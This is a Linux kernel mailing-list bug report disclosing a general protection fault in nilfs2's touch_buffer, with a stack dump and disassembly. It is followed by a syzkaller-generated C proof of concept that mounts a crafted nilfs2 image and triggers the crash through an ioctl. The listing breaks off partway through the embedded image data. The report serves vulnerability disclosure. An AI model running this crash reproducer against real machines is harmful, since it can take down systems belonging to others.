From: "Ubisectech Sirius" <bugreport@valiantsec.com>
To: "linux-kernel" <linux-kernel@vger.kernel.org>
Cc: "konishi.ryusuke" <konishi.ryusuke@gmail.com>
Subject: general protection fault in touch_buffer
Date: Wed, 04 Sep 2024 10:05:47 +0800 [thread overview]
Message-ID: <86bd3013-887e-4e38-960f-ca45c657f032.bugreport@valiantsec.com> (raw)
[-- Attachment #1: Type: text/plain, Size: 5387 bytes --]
Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.11.0-rc2-g6a0e38264012. Attached to the email were a PoC file of the issue.
Stack dump:
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] PREEMPT SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]
CPU: 0 UID: 0 PID: 14256 Comm: syz.1.435 Not tainted 6.11.0-rc2-g6a0e38264012 #49
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:perf_trace_block_buffer+0x232/0x590 include/trace/events/block.h:24
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 5f 02 00 00 48 b8 00 00 00 00 00 fc ff df 49 8b 56 30 48 8d 7a 34 48 89 f9 48 c1 e9 03 <0f> b6 0c 01 48 89 f8 83 e0 07 83 c0 03 38 c8 7c 08 84 c9 0f 85 9c
RSP: 0018:ffffc90001957818 EFLAGS: 00010207
RAX: dffffc0000000000 RBX: ffffe8ffad633a98 RCX: 0000000000000006
RDX: 0000000000000000 RSI: 1ffff110058c6f97 RDI: 0000000000000034
RBP: ffffc900019578d8 R08: 0000000000000004 R09: 0000000000000004
R10: ffffe8ffad6ba000 R11: 0000000000000001 R12: 1ffff9200032af06
R13: ffffffff8e3a3fe0 R14: ffff88801fb7e2b8 R15: ffffc900019578b0
FS: 00007f6a432a0640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005614bbc3d038 CR3: 000000004c664000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
trace_block_touch_buffer include/trace/events/block.h:54 [inline]
touch_buffer+0x178/0x250 fs/buffer.c:64
__nilfs_get_folio_block fs/nilfs2/page.c:42 [inline]
nilfs_grab_buffer+0x1bb/0x380 fs/nilfs2/page.c:61
nilfs_mdt_submit_block+0xa4/0x870 fs/nilfs2/mdt.c:121
nilfs_mdt_read_block+0x92/0x3c0 fs/nilfs2/mdt.c:176
nilfs_mdt_get_block+0xd2/0xaa0 fs/nilfs2/mdt.c:251
nilfs_cpfile_get_checkpoint_block fs/nilfs2/cpfile.c:139 [inline]
nilfs_cpfile_set_snapshot fs/nilfs2/cpfile.c:763 [inline]
nilfs_cpfile_change_cpmode+0x19f/0x1b70 fs/nilfs2/cpfile.c:1055
nilfs_ioctl_change_cpmode fs/nilfs2/ioctl.c:209 [inline]
nilfs_ioctl+0x64f/0x1720 fs/nilfs2/ioctl.c:1278
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:907 [inline]
__se_sys_ioctl fs/ioctl.c:893 [inline]
__x64_sys_ioctl+0x1a1/0x210 fs/ioctl.c:893
do_syscall_x64 arch/x86/entry/common.c:52 [inline]
do_syscall_64+0xcb/0x250 arch/x86/entry/common.c:83
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f6a4259712d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f6a4329ff98 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f6a42735f80 RCX: 00007f6a4259712d
RDX: 0000000020000080 RSI: 0000000040106e80 RDI: 000000000000000c
RBP: 00007f6a4261bd8a R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 0000000000000000 R14: 00007f6a42735f80 R15: 00007f6a43280000
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:perf_trace_block_buffer+0x232/0x590 include/trace/events/block.h:24
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 5f 02 00 00 48 b8 00 00 00 00 00 fc ff df 49 8b 56 30 48 8d 7a 34 48 89 f9 48 c1 e9 03 <0f> b6 0c 01 48 89 f8 83 e0 07 83 c0 03 38 c8 7c 08 84 c9 0f 85 9c
RSP: 0018:ffffc90001957818 EFLAGS: 00010207
RAX: dffffc0000000000 RBX: ffffe8ffad633a98 RCX: 0000000000000006
RDX: 0000000000000000 RSI: 1ffff110058c6f97 RDI: 0000000000000034
RBP: ffffc900019578d8 R08: 0000000000000004 R09: 0000000000000004
R10: ffffe8ffad6ba000 R11: 0000000000000001 R12: 1ffff9200032af06
R13: ffffffff8e3a3fe0 R14: ffff88801fb7e2b8 R15: ffffc900019578b0
FS: 00007f6a432a0640(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005614bbc3d038 CR3: 000000004c664000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
----------------
Code disassembly (best guess):
0: 48 89 fa mov %rdi,%rdx
3: 48 c1 ea 03 shr $0x3,%rdx
7: 80 3c 02 00 cmpb $0x0,(%rdx,%rax,1)
b: 0f 85 5f 02 00 00 jne 0x270
11: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
18: fc ff df
1b: 49 8b 56 30 mov 0x30(%r14),%rdx
1f: 48 8d 7a 34 lea 0x34(%rdx),%rdi
23: 48 89 f9 mov %rdi,%rcx
26: 48 c1 e9 03 shr $0x3,%rcx
* 2a: 0f b6 0c 01 movzbl (%rcx,%rax,1),%ecx <-- trapping instruction
2e: 48 89 f8 mov %rdi,%rax
31: 83 e0 07 and $0x7,%eax
34: 83 c0 03 add $0x3,%eax
37: 38 c8 cmp %cl,%al
39: 7c 08 jl 0x43
3b: 84 c9 test %cl,%cl
3d: 0f .byte 0xf
3e: 85 .byte 0x85
3f: 9c pushf
Thank you for taking the time to read this email and we look forward to working with you further.
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 39203 bytes --]
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/loop.h>
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \
*(type*)(addr) = \
htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
(((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:
//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@alumni.caltech.edu
//% BEGIN CODE DERIVED FROM puff.{c,h}
#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288
struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}
//% END CODE DERIVED FROM puff.{c,h}
#define ZLIB_HEADER_WIDTH 2
static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}
static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}
error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
sleep_ms(10);
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
void execute_one(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
memcpy((void*)0x20000ec0, "nilfs2\000", 7);
memcpy((void*)0x200000c0, "./file1\000", 8);
*(uint8_t*)0x20000040 = 0;
*(uint8_t*)0x20000041 = 0;
*(uint8_t*)0x20000042 = -1;
*(uint8_t*)0x20000043 = -1;
sprintf((char*)0x20000044, "%020llu", (long long)-1);
sprintf((char*)0x20000058, "%020llu", (long long)0);
*(uint32_t*)0x2000006c = 0;
sprintf((char*)0x20000070, "%020llu", (long long)0);
sprintf((char*)0x20000084, "0x%016llx", (long long)-1);
memcpy(
(void*)0x20001580,
"\x78\x9c\xec\xdd\x4f\x6c\x1c\x57\x19\x00\xf0\x37\xeb\xbf\x89\xdd\x78\xdd"
"\x16\x9a\xb6\x34\x09\x2d\x25\x6d\x00\x27\x75\x72\x28\xb7\x54\x8a\x40\xaa"
"\xaa\xaa\x17\xee\xad\xd2\xa4\x8d\x70\x4b\x20\xe5\xd0\xaa\x51\x52\x4e\xa9"
"\xc4\xa1\xa8\x2a\x87\x22\x0e\x45\xed\x0d\x29\x1c\x90\x68\x85\x84\x2a\x24"
"\x24\xfe\xf4\xc0\x15\x0e\xa8\x82\x0b\x08\x05\x29\x52\x25\x44\xa4\xc4\xc8"
"\xce\x7b\xeb\xf5\xb3\xc7\xbb\x1e\xaf\x67\xd7\xde\xdf\x4f\xfa\xfc\xf6\xcd"
"\x9b\x9d\xef\x1b\xaf\xe3\xcc\x5b\xef\xbe\x0d\xc0\xd0\x6a\x2c\x7f\x3d\x71"
"\x62\x7f\x11\xc2\x3b\x1f\xbd\x7d\xea\x9b\x97\x6e\xfd\x6a\x69\xdb\xc1\xd6"
"\x1e\x87\x96\xbf\x16\xb1\xd7\x0c\x21\x8c\xb5\xf5\x8b\xec\x78\x9f\xc6\x0d"
"\x37\xaf\xbf\x7e\x7a\xa9\xbd\x95\xb5\x21\xcc\x2f\xdd\x6b\x34\x8d\x87\xa7"
"\xaf\xb5\xee\x3b\x15\x42\xb8\x1c\x0e\x85\x8f\x43\x33\x1c\x3c\xd2\xfc\xec"
"\xca\xc8\x53\x67\x3f\x78\xf7\x93\xc3\x17\xcf\x3f\xf9\xe2\xb6\x9c\x3c\x00"
"\x00\x0c\x99\xab\x7f\x5c\xf8\xeb\xa3\xff\xfc\xc3\x57\x67\x6f\x5c\x3d\x70"
"\x32\x4c\xb4\xb6\xa7\xeb\xf3\x66\xec\x4f\xc5\xeb\xfe\x63\xf1\xfa\x3e\x5d"
"\xf7\x37\xc2\xea\x7e\xd1\x16\xed\xc6\xb3\xfd\x46\x62\x34\xb2\xfd\x46\xb2"
"\xfd\x46\xb3\x3c\xa3\x25\xf9\xc6\xb2\xe3\x8c\x95\xec\x37\xde\x21\xdf\x48"
"\xdb\xb6\xf5\xce\x73\xc5\xc4\x9a\x2d\x00\x00\x00\x30\xa8\xd2\xbc\xb6\x19"
"\x8a\xc6\xdc\xaa\x7e\xa3\x31\x37\x77\x7b\xde\xbf\xe4\xd3\x99\xf1\x62\xee"
"\xe5\x73\x0b\x67\x2f\xf4\xa9\x50\x00\x00\x00\xa0\xb2\xcf\x2e\x2d\xbf\xe8"
"\x56\xec\x88\x98\x1c\x80\x1a\xd6\xc6\xf8\x00\xd4\x20\x84\x10\x42\x08\x21"
"\x84\x10\x62\xe3\x58\x9c\xe9\xf7\x33\x10\x00\x00\x00\xc0\xb0\x49\xeb\x0e"
"\xb4\xd6\x07\xcb\x5d\xce\x57\x16\xd8\x9a\xd6\xd1\x9a\xdd\xe5\xbf\xf6\x44"
"\x63\xfd\xfb\x43\x0f\x74\xfa\xf9\xdb\xee\x9f\xb7\xba\xff\xfd\xc9\xbf\xb9"
"\xfc\xef\xbf\xe1\x37\x0e\x00\x00\xd5\xed\xd6\xab\xc9\x74\x5e\xe9\x3a\x7a"
"\xea\xcd\x3d\xcb\xfd\x7c\x1d\xc1\x91\xec\x7e\x9b\xbd\xfe\x6f\x64\xc7\x19"
"\xdd\x64\x9d\x6b\xd7\x15\xdc\x78\xfb\xa0\x29\xab\x33\xff\xbe\x0e\xaa\xb2"
"\xfa\x37\xfb\x38\xf6\x4b\x59\xfd\xf9\x7a\x98\x83\xaa\xac\xfe\x7c\x9d\xce"
"\x41\x55\x56\xff\x4e\x59\x1d\xb4\xac\xfe\xc9\x1d\xf2\x3b\xa8\xac\xc6\x3d"
"\x35\xd7\x51\x55\x59\xfd\x7b\x6b\xae\xa3\xaa\xb2\xfa\xa7\x6a\xae\xa3\xaa"
"\xb2\xfa\xa7\x6b\xae\xa3\xaa\xb2\xfa\xef\xa8\xb9\x8e\xaa\xca\xea\xdf\x57"
"\x73\x1d\x55\x95\xd5\xbf\x53\x5e\x56\x5b\x56\x7f\xb3\xe6\x3a\xaa\x2a\xab"
"\x7f\xb6\xe6\x3a\xaa\x2a\xab\xff\xce\x9a\xeb\xa8\xaa\xac\xfe\xbb\x6a\xae"
"\xa3\xaa\xb2\xfa\xef\xae\xb9\x8e\x7e\x79\x20\xb6\xe9\xfb\x70\x20\x1b\x6f"
"\xcd\x9f\xd7\x99\xd3\xed\x94\x39\x1e\x00\x00\x00\x0c\xbb\xff\x59\xff\x4f"
"\xf4\x30\x0e\x0e\x40\x0d\x03\x1f\xa3\xeb\x6c\x1b\x1b\x80\xba\x84\x58\x89"
"\x91\x01\xa8\x41\x08\x21\x84\x10\x42\xf4\x38\x2e\xf5\xfb\x09\x08\x00\x00"
"\x00\xa0\xef\xd2\xfb\x02\xd2\xbb\xde\x17\xa3\x34\x3e\xd2\x61\x7c\xb4\xc3"
"\xf8\xd8\x86\xe3\x23\xad\xf7\x01\x97\xdd\x7f\xa2\xc3\xf8\x5a\xff\xed\xb8"
"\x07\x00\x00\x00\xec\x36\xbf\xbe\x72\xf6\xde\xb7\x8a\x95\xf7\xf9\x6f\x75"
"\x3d\xbc\xc9\xd8\xa6\xf5\x97\x36\xbb\x8e\x51\xbe\x1e\xe1\x66\xf3\x6f\x75"
"\xdd\xb3\xad\xe6\xdf\x29\xeb\x96\x01\x00\x00\x30\x5c\x8a\x6f\x7c\x7c\xeb"
"\xc8\xa9\xf7\x5e\x99\xbd\x71\xf5\xc0\xc9\xb6\xd9\xef\xad\x38\xdf\x4d\xeb"
"\x80\x8e\xc6\xe7\x06\x3e\x8c\xfd\xf4\xba\x80\xe9\xac\x5f\xa4\x39\xf4\xc9"
"\xd5\x79\x1a\x25\xfb\xe5\xcf\x0f\xdc\x51\x76\xbc\x67\xb6\x78\xa2\x00\x00"
"\x00\x30\xc4\xd2\xfc\xbd\x19\x8a\xc6\x5c\xdb\xbc\xbb\x19\x1a\x8d\xb9\xb9"
"\x95\xf9\xf8\xfe\x30\x56\x9c\x3d\xb7\x70\xe6\x58\xec\xa7\xcf\x67\xf9\xfd"
"\xcc\x64\x08\x61\xe1\xcc\x63\x35\xd7\x0d\x00\x00\x00\x74\x6f\x65\xbe\x5f"
"\xec\x09\xeb\xcc\xff\xd3\xe7\xf8\xee\x0f\xe3\xc5\xdc\xcb\xe7\x16\xce\x5e"
"\xb8\xdd\x9f\x6e\x6d\x1f\x6b\xb4\x3f\x2f\x30\xb3\xb2\x7d\xf9\xf9\x82\xc7"
"\x5a\xc7\x5b\xbd\x7d\xbe\x64\xfb\xf1\xd8\x4f\x9f\xdf\xf9\xe2\xcc\x9e\xe5"
"\xed\x73\xa7\xbf\xb3\xf0\x7c\x8f\xcf\x1d\x00\x00\x00\x86\xc5\x85\x57\x5f"
"\xfb\xf6\x73\x0b\x0b\x67\xbe\xe7\x86\x1b\x25\x37\x2e\x6d\xea\x5e\x87\xe2"
"\x4f\xd6\x80\x14\xef\x46\xc5\x1b\x7d\xfe\xc5\x04\x00\x00\xf4\xdc\x07\xff"
